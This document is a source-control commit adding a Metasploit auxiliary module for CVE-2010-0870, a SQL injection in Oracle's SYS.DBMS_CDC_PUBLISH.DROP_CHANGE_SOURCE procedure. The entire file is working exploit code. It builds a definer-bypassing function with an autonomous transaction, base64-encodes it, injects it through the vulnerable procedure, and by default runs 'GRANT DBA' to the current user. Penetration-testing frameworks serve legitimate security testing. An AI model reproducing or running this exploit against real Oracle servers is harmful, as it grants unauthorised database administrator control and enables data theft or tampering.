added auxiliary module for CVE-2010-0870

git-svn-id: file:///home/svn/framework3/trunk@9148 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb

@@ -0,0 +1,85 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::ORACLE
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',
+			'Description'    => %q{
+				The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE 
+				procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege 
+				on the vulnerable package can exploit this vulnerability. By default, users granted
+				EXECUTE_CATALOG_ROLE have the required privilege.  
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: $',
+			'References'     =>
+				[
+					[ 'CVE', '2010-0870' ],
+					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ],
+				],
+			'DisclosureDate' => 'Apr 26 2010'))
+
+			register_options( 
+				[
+					OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),					
+				], self.class)
+	end
+
+	def run
+		return if not check_dependencies
+
+		name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1) 
+		var1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+		var2  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
+
+		function = "
+CREATE OR REPLACE FUNCTION #{name} 
+RETURN VARCHAR2 AUTHID CURRENT_USER
+IS
+PRAGMA AUTONOMOUS_TRANSACTION;
+BEGIN
+EXECUTE IMMEDIATE '#{datastore['SQL']}';
+COMMIT;
+RETURN NULL;
+END;
+		"
+
+		package = "
+BEGIN
+SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');
+END;
+		"
+
+		uno  = Rex::Text.encode_base64(function)
+		dos  = Rex::Text.encode_base64(package)
+
+		encoded_sql = %Q|
+DECLARE
+#{var1} VARCHAR2(32767);
+#{var2} VARCHAR2(32767);
+BEGIN
+#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
+EXECUTE IMMEDIATE #{var1};
+#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
+EXECUTE IMMEDIATE #{var2};
+END;
+		|
+			
+		print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")
+		prepare_exec(encoded_sql)
+		print_status("Done...")
+
+	end
+
+end